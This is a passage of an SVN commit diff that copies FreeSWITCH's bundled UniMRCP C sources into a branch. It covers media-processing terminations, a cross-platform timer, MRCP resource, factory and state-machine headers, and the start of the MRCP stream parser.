+										const mpf_termination_vtable_t *vtable,
+										mpf_audio_stream_t *audio_stream,
+										mpf_video_stream_t *video_stream,
+										apr_pool_t *pool)
+{
+	mpf_termination_t *termination = apr_palloc(pool,sizeof(mpf_termination_t));
+	termination->pool = pool;
+	termination->obj = obj;
+	termination->event_handler_obj = NULL;
+	termination->event_handler = NULL;
+	termination->codec_manager = NULL;
+	termination->termination_factory = termination_factory;
+	termination->vtable = vtable;
+	termination->slot = 0;
+	if(audio_stream) {
+		audio_stream->termination = termination;
+	}
+	if(video_stream) {
+		video_stream->termination = termination;
+	}
+	termination->audio_stream = audio_stream;
+	termination->video_stream = video_stream;
+	return termination;
+}
+
+MPF_DECLARE(apt_bool_t) mpf_termination_destroy(mpf_termination_t *termination)
+{
+	if(termination->vtable && termination->vtable->destroy) {
+		termination->vtable->destroy(termination);
+	}
+	return TRUE;
+}
+
+MPF_DECLARE(void*) mpf_termination_object_get(mpf_termination_t *termination)
+{
+	return termination->obj;
+}
+
+MPF_DECLARE(apt_bool_t) mpf_termination_modify(mpf_termination_t *termination, void *descriptor)
+{
+	if(termination->vtable && termination->vtable->modify) {
+		termination->vtable->modify(termination,descriptor);
+	}
+	return TRUE;
+}
+
+MPF_DECLARE(apt_bool_t) mpf_termination_validate(mpf_termination_t *termination)
+{
+	mpf_audio_stream_t *audio_stream;
+	if(!termination) {
+		return FALSE;
+	}
+	audio_stream = termination->audio_stream;
+	if(audio_stream) {
+		if(!audio_stream->vtable) {
+			return FALSE;
+		}
+		if((audio_stream->mode & STREAM_MODE_RECEIVE) == STREAM_MODE_RECEIVE) {
+			if(!audio_stream->rx_codec) {
+				audio_stream->rx_codec = mpf_codec_manager_default_codec_get(
+											termination->codec_manager,
+											termination->pool);
+			}
+		}
+		if((audio_stream->mode & STREAM_MODE_SEND) == STREAM_MODE_SEND) {
+			if(!audio_stream->tx_codec) {
+				audio_stream->tx_codec = mpf_codec_manager_default_codec_get(
+											termination->codec_manager,
+											termination->pool);
+			}
+		}
+	}
+	return TRUE;
+}
+
+
+/** Create MPF termination by termination factory */
+MPF_DECLARE(mpf_termination_t*) mpf_termination_create(
+										mpf_termination_factory_t *termination_factory,
+										void *obj,
+										apr_pool_t *pool)
+{
+	if(termination_factory && termination_factory->create_termination) {
+		return termination_factory->create_termination(termination_factory,obj,pool);
+	}
+	return NULL;
+}
+
+/** Create raw MPF termination. */
+MPF_DECLARE(mpf_termination_t*) mpf_raw_termination_create(
+										void *obj,
+										mpf_audio_stream_t *audio_stream,
+										mpf_video_stream_t *video_stream,
+										apr_pool_t *pool)
+{
+	return mpf_termination_base_create(NULL,obj,NULL,audio_stream,video_stream,pool);
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_timer.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_timer.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_timer.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_timer.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_timer.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,154 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mpf_timer.h"
+
+#ifdef WIN32
+#define ENABLE_MULTIMEDIA_TIMERS
+#endif
+
+#ifdef ENABLE_MULTIMEDIA_TIMERS
+
+#pragma warning(disable:4201)
+#include <mmsystem.h>
+#include <windows.h>
+
+#ifndef TIME_KILL_SYNCHRONOUS
+#define TIME_KILL_SYNCHRONOUS   0x0100
+#endif
+
+struct mpf_timer_t {
+	unsigned int     timer_id;
+	mpf_timer_proc_f timer_proc;
+	void            *obj;
+};
+
+#define MAX_MEDIA_TIMERS 10
+
+static mpf_timer_t media_timer_set[MAX_MEDIA_TIMERS];
+
+static void CALLBACK mm_timer_proc(UINT uID, UINT uMsg, DWORD dwUser, DWORD dw1, DWORD dw2);
+
+MPF_DECLARE(mpf_timer_t*) mpf_timer_start(unsigned long timeout, mpf_timer_proc_f timer_proc, void *obj, apr_pool_t *pool)
+{
+	mpf_timer_t *timer = NULL;
+	size_t i;
+	for(i = 0; i<MAX_MEDIA_TIMERS; i++) {
+		if(!media_timer_set[i].timer_id) {
+			timer = &media_timer_set[i];
+			break;
+		}
+	}
+		
+	if(timer) {
+		timer->timer_proc = timer_proc;
+		timer->obj = obj;
+		timer->timer_id = timeSetEvent(timeout, 0, mm_timer_proc, i, 
+			TIME_PERIODIC | TIME_CALLBACK_FUNCTION | TIME_KILL_SYNCHRONOUS);
+		if(!timer->timer_id) {
+			timer = NULL;
+		}
+	}
+	return timer;
+}
+
+MPF_DECLARE(void) mpf_timer_stop(mpf_timer_t *timer)
+{
+	if(timer) {
+		timeKillEvent(timer->timer_id);
+		timer->timer_id = 0;
+		timer->timer_proc = NULL;
+		timer->obj = NULL;
+	}
+}
+
+static void CALLBACK mm_timer_proc(UINT uID, UINT uMsg, DWORD dwUser, DWORD dw1, DWORD dw2)
+{
+	mpf_timer_t *timer;
+	if(dwUser >= MAX_MEDIA_TIMERS) {
+		return;
+	}
+	timer = &media_timer_set[dwUser];
+	timer->timer_proc(timer,timer->obj);
+}
+
+#else
+
+#include <apr_thread_proc.h>
+
+struct mpf_timer_t {
+	apr_thread_t    *thread;
+	apr_byte_t       running;
+
+	unsigned long    timeout;
+	mpf_timer_proc_f timer_proc;
+	void            *obj;
+};
+
+static void* APR_THREAD_FUNC timer_thread_proc(apr_thread_t *thread, void *data);
+
+MPF_DECLARE(mpf_timer_t*) mpf_timer_start(unsigned long timeout, mpf_timer_proc_f timer_proc, void *obj, apr_pool_t *pool)
+{
+	mpf_timer_t *timer = apr_palloc(pool,sizeof(mpf_timer_t));
+	timer->timeout = timeout;
+	timer->timer_proc = timer_proc;
+	timer->obj = obj;
+	timer->running = 1;
+	if(apr_thread_create(&timer->thread,NULL,timer_thread_proc,timer,pool) != APR_SUCCESS) {
+		return NULL;
+	}
+	return timer;
+}
+
+MPF_DECLARE(void) mpf_timer_stop(mpf_timer_t *timer)
+{
+	if(timer) {
+		timer->running = 0;
+		if(timer->thread) {
+			apr_status_t s;
+			apr_thread_join(&s,timer->thread);
+			timer->thread = NULL;
+		}
+	}
+}
+
+static void* APR_THREAD_FUNC timer_thread_proc(apr_thread_t *thread, void *data)
+{
+	mpf_timer_t *timer = data;
+	apr_interval_time_t timeout = timer->timeout * 1000;
+	apr_interval_time_t time_drift = 0;
+	apr_time_t time_now, time_last;
+	
+	time_now = apr_time_now();
+	while(timer->running) {
+		time_last = time_now;
+		timer->timer_proc(timer,timer->obj);
+
+		if(timeout > time_drift) {
+			apr_sleep(timeout - time_drift);
+		}
+
+		time_now = apr_time_now();
+		time_drift += time_now - time_last - timeout;
+#if 0
+		printf("time_drift=%d\n",time_drift);
+#endif
+	}
+	
+	return NULL;
+}
+
+#endif

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp)

Property changes: freeswitch/branches/seven/libs/unimrcp/libs/mrcp


Name: svn:ignore
   + Makefile.in
Makefile
Debug
*.user
Release
.deps

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,42 @@
+MAINTAINERCLEANFILES 	 = Makefile.in
+
+INCLUDES                 = -I$(top_srcdir)/libs/mrcp/include \
+                           -I$(top_srcdir)/libs/mrcp/message/include \
+                           -I$(top_srcdir)/libs/mrcp/control/include \
+                           -I$(top_srcdir)/libs/mrcp/resources/include \
+                           -I$(top_srcdir)/libs/apr-toolkit/include \
+                           $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+noinst_LTLIBRARIES       = libmrcp.la
+
+include_HEADERS          = include/mrcp.h \
+                           include/mrcp_types.h \
+                           message/include/mrcp_header_accessor.h \
+                           message/include/mrcp_generic_header.h \
+                           message/include/mrcp_message.h \
+                           control/include/mrcp_state_machine.h \
+                           control/include/mrcp_resource.h \
+                           control/include/mrcp_resource_factory.h \
+                           control/include/mrcp_stream.h \
+                           resources/include/mrcp_synth_header.h \
+                           resources/include/mrcp_synth_resource.h \
+                           resources/include/mrcp_synth_state_machine.h \
+                           resources/include/mrcp_recog_header.h \
+                           resources/include/mrcp_recog_resource.h \
+                           resources/include/mrcp_recog_state_machine.h \
+                           resources/include/mrcp_default_factory.h
+
+libmrcp_la_SOURCES       = message/src/mrcp_header_accessor.c \
+                           message/src/mrcp_generic_header.c \
+                           message/src/mrcp_message.c \
+                           control/src/mrcp_resource_factory.c \
+                           control/src/mrcp_stream.c \
+                           resources/src/mrcp_synth_header.c \
+                           resources/src/mrcp_synth_resource.c \
+                           resources/src/mrcp_synth_server_state_machine.c \
+                           resources/src/mrcp_synth_client_state_machine.c \
+                           resources/src/mrcp_recog_header.c \
+                           resources/src/mrcp_recog_resource.c \
+                           resources/src/mrcp_recog_server_state_machine.c \
+                           resources/src/mrcp_recog_client_state_machine.c \
+                           resources/src/mrcp_default_factory.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/control)

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/include (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/control/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/include/mrcp_resource.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/include/mrcp_resource.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/control/include/mrcp_resource.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/include/mrcp_resource.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/include/mrcp_resource.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,66 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_RESOURCE_H__
+#define __MRCP_RESOURCE_H__
+
+/**
+ * @file mrcp_resource.h
+ * @brief Abstract MRCP Resource
+ */ 
+
+#include "mrcp_types.h"
+#include "mrcp_header_accessor.h"
+#include "mrcp_state_machine.h"
+
+APT_BEGIN_EXTERN_C
+
+
+/** MRCP resource definition */
+struct mrcp_resource_t {
+	/** MRCP resource identifier */
+	mrcp_resource_id            id;
+
+	/** Set resource specific data in a message by resource id */
+	apt_bool_t (*resourcify_message_by_id)(mrcp_resource_t *resource, mrcp_message_t *message);
+	/** Set resource specific data in a message by resource name */
+	apt_bool_t (*resourcify_message_by_name)(mrcp_resource_t *resource, mrcp_message_t *message);
+
+	/** Create client side state machine */
+	mrcp_state_machine_t* (*create_client_state_machine)(void *obj, mrcp_version_e version, apr_pool_t *pool);
+	/** Create server side state machine */
+	mrcp_state_machine_t* (*create_server_state_machine)(void *obj, mrcp_version_e version, apr_pool_t *pool);
+};
+
+/** Initialize MRCP resource */
+static APR_INLINE void mrcp_resource_init(mrcp_resource_t *resource)
+{
+	resource->resourcify_message_by_id = NULL;
+	resource->resourcify_message_by_name = NULL;
+	resource->create_client_state_machine = NULL;
+	resource->create_server_state_machine = NULL;
+}
+
+/** Validate MRCP resource */
+static APR_INLINE apt_bool_t mrcp_resource_validate(mrcp_resource_t *resource)
+{
+	return (resource->resourcify_message_by_id && 
+		resource->resourcify_message_by_name) ? TRUE : FALSE;
+}
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_RESOURCE_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/include/mrcp_resource_factory.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/include/mrcp_resource_factory.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/control/include/mrcp_resource_factory.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/include/mrcp_resource_factory.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/include/mrcp_resource_factory.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,62 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_RESOURCE_FACTORY_H__
+#define __MRCP_RESOURCE_FACTORY_H__
+
+/**
+ * @file mrcp_resource_factory.h
+ * @brief Aggregation of MRCP Resources
+ */ 
+
+#include "apt_string_table.h"
+#include "apt_text_stream.h"
+#include "mrcp_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Create MRCP resource factory */
+MRCP_DECLARE(mrcp_resource_factory_t*) mrcp_resource_factory_create(apr_size_t resource_count, apr_pool_t *pool);
+
+/** Destroy MRCP resource factory */
+MRCP_DECLARE(apt_bool_t) mrcp_resource_factory_destroy(mrcp_resource_factory_t *resource_factory);
+
+/** Set MRCP resource string table */
+MRCP_DECLARE(apt_bool_t) mrcp_resource_string_table_set(mrcp_resource_factory_t *resource_factory, const apt_str_table_item_t *string_table);
+
+/** Register MRCP resource */
+MRCP_DECLARE(apt_bool_t) mrcp_resource_register(mrcp_resource_factory_t *resource_factory, mrcp_resource_t *resource, mrcp_resource_id resource_id);
+
+/** Get MRCP resource by resource id */
+MRCP_DECLARE(mrcp_resource_t*) mrcp_resource_get(mrcp_resource_factory_t *resource_factory, mrcp_resource_id resource_id);
+
+/** Get resource name associated with specified resource id */
+MRCP_DECLARE(const apt_str_t*) mrcp_resource_name_get(mrcp_resource_factory_t *resource_factory, mrcp_resource_id resource_id);
+
+/** Find resource id associated with specified resource name */
+MRCP_DECLARE(mrcp_resource_id) mrcp_resource_id_find(mrcp_resource_factory_t *resource_factory, const apt_str_t *resource_name);
+
+
+/** Associate MRCP resource specific data by resource identifier */
+MRCP_DECLARE(apt_bool_t) mrcp_message_resourcify_by_id(mrcp_resource_factory_t *resource_factory, mrcp_message_t *message);
+
+/** Associate MRCP resource specific data by resource name */
+MRCP_DECLARE(apt_bool_t) mrcp_message_resourcify_by_name(mrcp_resource_factory_t *resource_factory, mrcp_message_t *message);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_RESOURCE_FACTORY_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/include/mrcp_state_machine.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/include/mrcp_state_machine.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/control/include/mrcp_state_machine.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/include/mrcp_state_machine.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/include/mrcp_state_machine.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,84 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_STATE_MACHINE_H__
+#define __MRCP_STATE_MACHINE_H__
+
+/**
+ * @file mrcp_state_machine.h
+ * @brief MRCP State Machine
+ */ 
+
+#include "mrcp_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/** MRCP state machine declaration */
+typedef struct mrcp_state_machine_t mrcp_state_machine_t;
+
+
+/** MRCP state machine */
+struct mrcp_state_machine_t {
+	/** External object associated with state machine */
+	void *obj;
+	/** State either active or deactivating */
+	apt_bool_t active;
+
+	/** Virtual update */
+	apt_bool_t (*update)(mrcp_state_machine_t *state_machine, mrcp_message_t *message);
+	/** Deactivate */
+	apt_bool_t (*deactivate)(mrcp_state_machine_t *state_machine);
+
+
+	/** Message dispatcher */
+	apt_bool_t (*on_dispatch)(mrcp_state_machine_t *state_machine, mrcp_message_t *message);
+	/** Deactivated */
+	apt_bool_t (*on_deactivate)(mrcp_state_machine_t *state_machine);
+};
+
+/** Initialize MRCP state machine */
+static APR_INLINE void mrcp_state_machine_init(mrcp_state_machine_t *state_machine, void *obj)
+{
+	state_machine->obj = obj;
+	state_machine->active = TRUE;
+	state_machine->on_dispatch = NULL;
+	state_machine->on_deactivate = NULL;
+	state_machine->update = NULL;
+	state_machine->deactivate = NULL;
+}
+
+/** Update MRCP state machine */
+static APR_INLINE apt_bool_t mrcp_state_machine_update(mrcp_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	if(state_machine->update) {
+		return state_machine->update(state_machine,message);
+	}
+	return FALSE;
+}
+
+/** Deactivate MRCP state machine */
+static APR_INLINE apt_bool_t mrcp_state_machine_deactivate(mrcp_state_machine_t *state_machine)
+{
+	if(state_machine->deactivate) {
+		state_machine->active = FALSE;
+		return state_machine->deactivate(state_machine);
+	}
+	return FALSE;
+}
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_STATE_MACHINE_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/include/mrcp_stream.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/include/mrcp_stream.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/control/include/mrcp_stream.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/include/mrcp_stream.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/include/mrcp_stream.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,79 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_STREAM_H__
+#define __MRCP_STREAM_H__
+
+/**
+ * @file mrcp_stream.h
+ * @brief MRCP Stream Parser and Generator
+ */ 
+
+#include "apt_text_stream.h"
+#include "mrcp_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Result of MRCP stream processing (parse/generate) */
+typedef enum {
+	MRCP_STREAM_MESSAGE_COMPLETE,
+	MRCP_STREAM_MESSAGE_TRUNCATED,
+	MRCP_STREAM_MESSAGE_INVALID
+} mrcp_stream_result_e;
+
+/** Opaque MRCP parser declaration */
+typedef struct mrcp_parser_t mrcp_parser_t;
+/** Opaque MRCP generator declaration */
+typedef struct mrcp_generator_t mrcp_generator_t;
+
+/** MRCP message handler */
+typedef apt_bool_t (*mrcp_message_handler_f)(void *obj, mrcp_message_t *message, mrcp_stream_result_e result);
+
+/** Parse MRCP message (excluding message body) */
+MRCP_DECLARE(apt_bool_t) mrcp_message_parse(mrcp_resource_factory_t *resource_factory, mrcp_message_t *message, apt_text_stream_t *stream);
+
+/** Generate MRCP message (excluding message body) */
+MRCP_DECLARE(apt_bool_t) mrcp_message_generate(mrcp_resource_factory_t *resource_factory, mrcp_message_t *message, apt_text_stream_t *stream);
+
+
+/** Create MRCP stream parser */
+MRCP_DECLARE(mrcp_parser_t*) mrcp_parser_create(mrcp_resource_factory_t *resource_factory, apr_pool_t *pool);
+
+/** Set resource name to be used while parsing (MRCPv1 only) */
+MRCP_DECLARE(void) mrcp_parser_resource_name_set(mrcp_parser_t *parser, const apt_str_t *resource_name);
+
+/** Parse MRCP stream */
+MRCP_DECLARE(mrcp_stream_result_e) mrcp_parser_run(mrcp_parser_t *parser, apt_text_stream_t *stream);
+
+/** Get parsed MRCP message */
+MRCP_DECLARE(mrcp_message_t*) mrcp_parser_message_get(const mrcp_parser_t *parser);
+
+
+/** Create MRCP stream generator */
+MRCP_DECLARE(mrcp_generator_t*) mrcp_generator_create(mrcp_resource_factory_t *resource_factory, apr_pool_t *pool);
+
+/** Set MRCP message to generate */
+MRCP_DECLARE(apt_bool_t) mrcp_generator_message_set(mrcp_generator_t *generator, mrcp_message_t *message);
+
+/** Generate MRCP stream */
+MRCP_DECLARE(mrcp_stream_result_e) mrcp_generator_run(mrcp_generator_t *generator, apt_text_stream_t *stream);
+
+/** Walk through MRCP stream and call message handler for each parsed message */
+MRCP_DECLARE(apt_bool_t) mrcp_stream_walk(mrcp_parser_t *parser, apt_text_stream_t *stream, mrcp_message_handler_f handler, void *obj);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_STREAM_H__*/

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/src (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/control/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/src/mrcp_resource_factory.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/src/mrcp_resource_factory.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/control/src/mrcp_resource_factory.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/src/mrcp_resource_factory.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/src/mrcp_resource_factory.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,151 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_resource_factory.h"
+#include "mrcp_message.h"
+#include "mrcp_resource.h"
+#include "mrcp_generic_header.h"
+
+/** Resource factory definition (aggregation of resources) */
+struct mrcp_resource_factory_t {
+	/** Array of MRCP resources */
+	mrcp_resource_t           **resource_array;
+	/** Number of MRCP resources */
+	apr_size_t                  resource_count;
+	/** String table of MRCP resource names */
+	const apt_str_table_item_t *string_table;
+};
+
+/** Create MRCP resource factory */
+MRCP_DECLARE(mrcp_resource_factory_t*) mrcp_resource_factory_create(apr_size_t resource_count, apr_pool_t *pool)
+{
+	apr_size_t i;
+	mrcp_resource_factory_t *resource_factory;
+	if(resource_count == 0) {
+		return NULL;
+	}
+
+	resource_factory = apr_palloc(pool,sizeof(mrcp_resource_factory_t));
+	resource_factory->resource_count = resource_count;
+	resource_factory->resource_array = apr_palloc(pool,sizeof(mrcp_resource_t*)*resource_count);
+	for(i=0; i<resource_count; i++) {
+		resource_factory->resource_array[i] = NULL;
+	}
+	resource_factory->string_table = NULL;
+	
+	return resource_factory;
+}
+
+/** Destroy MRCP resource container */
+MRCP_DECLARE(apt_bool_t) mrcp_resource_factory_destroy(mrcp_resource_factory_t *resource_factory)
+{
+	if(resource_factory->resource_array) {
+		resource_factory->resource_array = NULL;
+	}
+	resource_factory->resource_count = 0;
+	return TRUE;
+}
+
+/** Set MRCP resource string table */
+MRCP_DECLARE(apt_bool_t) mrcp_resource_string_table_set(mrcp_resource_factory_t *resource_factory, const apt_str_table_item_t *string_table)
+{
+	resource_factory->string_table = string_table;
+	return TRUE;
+}
+
+/** Register MRCP resource */
+MRCP_DECLARE(apt_bool_t) mrcp_resource_register(mrcp_resource_factory_t *resource_factory, mrcp_resource_t *resource, mrcp_resource_id resource_id)
+{	
+	if(!resource || resource_id >= resource_factory->resource_count) {
+		/* invalid params */
+		return FALSE;
+	}
+	if(resource_factory->resource_array[resource_id]) {
+		/* resource with specified id already exists */
+		return FALSE;
+	}
+	resource->id = resource_id;
+	if(mrcp_resource_validate(resource) != TRUE) {
+		/* invalid resource */
+		return FALSE;
+	}
+	resource_factory->resource_array[resource->id] = resource;
+	return TRUE;
+}
+
+/** Get MRCP resource by resource id */
+MRCP_DECLARE(mrcp_resource_t*) mrcp_resource_get(mrcp_resource_factory_t *resource_factory, mrcp_resource_id resource_id)
+{
+	if(resource_id >= resource_factory->resource_count) {
+		return NULL;
+	}
+	return resource_factory->resource_array[resource_id];
+}
+
+
+/** Set header accessor interface */
+static APR_INLINE void mrcp_generic_header_accessor_set(mrcp_message_t *message)
+{
+	message->header.generic_header_accessor.vtable = mrcp_generic_header_vtable_get(message->start_line.version);
+}
+
+/** Associate MRCP resource specific data by resource identifier */
+MRCP_DECLARE(apt_bool_t) mrcp_message_resourcify_by_id(mrcp_resource_factory_t *resource_factory, mrcp_message_t *message)
+{
+	mrcp_resource_t *resource;
+	const apt_str_t *name;
+	resource = mrcp_resource_get(resource_factory,message->channel_id.resource_id);
+	if(!resource) {
+		return FALSE;
+	}
+	name = mrcp_resource_name_get(resource_factory,resource->id);
+	if(!name) {
+		return FALSE;
+	}
+	/* associate resource_name and resource_id */
+	message->channel_id.resource_name = *name;
+
+	mrcp_generic_header_accessor_set(message);
+	return resource->resourcify_message_by_id(resource,message);
+}
+
+/** Associate MRCP resource specific data by resource name */
+MRCP_DECLARE(apt_bool_t) mrcp_message_resourcify_by_name(mrcp_resource_factory_t *resource_factory, mrcp_message_t *message)
+{
+	mrcp_resource_t *resource;
+	/* associate resource_name and resource_id */
+	const apt_str_t *name = &message->channel_id.resource_name;
+	message->channel_id.resource_id = mrcp_resource_id_find(resource_factory,name);
+	resource = mrcp_resource_get(resource_factory,message->channel_id.resource_id);
+	if(!resource) {
+		return FALSE;
+	}
+
+	mrcp_generic_header_accessor_set(message);
+	return resource->resourcify_message_by_name(resource,message);
+}
+
+/** Get resource name associated with specified resource id */
+MRCP_DECLARE(const apt_str_t*) mrcp_resource_name_get(mrcp_resource_factory_t *resource_factory, mrcp_resource_id resource_id)
+{
+	return apt_string_table_str_get(resource_factory->string_table,resource_factory->resource_count,resource_id);
+}
+
+/** Find resource id associated with specified resource name */
+MRCP_DECLARE(mrcp_resource_id) mrcp_resource_id_find(mrcp_resource_factory_t *resource_factory, const apt_str_t *resource_name)
+{
+	return apt_string_table_id_find(resource_factory->string_table,resource_factory->resource_count,resource_name);
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/src/mrcp_stream.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/src/mrcp_stream.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/control/src/mrcp_stream.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/src/mrcp_stream.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/control/src/mrcp_stream.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,360 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_stream.h"
+#include "mrcp_message.h"
+#include "mrcp_generic_header.h"
+#include "mrcp_resource_factory.h"
+#include "apt_log.h"
+
+/** MRCP parser */
+struct mrcp_parser_t {
+	mrcp_resource_factory_t *resource_factory;
+	apt_str_t                resource_name;
+	mrcp_stream_result_e     result;
+	char                    *pos;
+	apt_bool_t               skip_lf;
+	mrcp_message_t          *message;
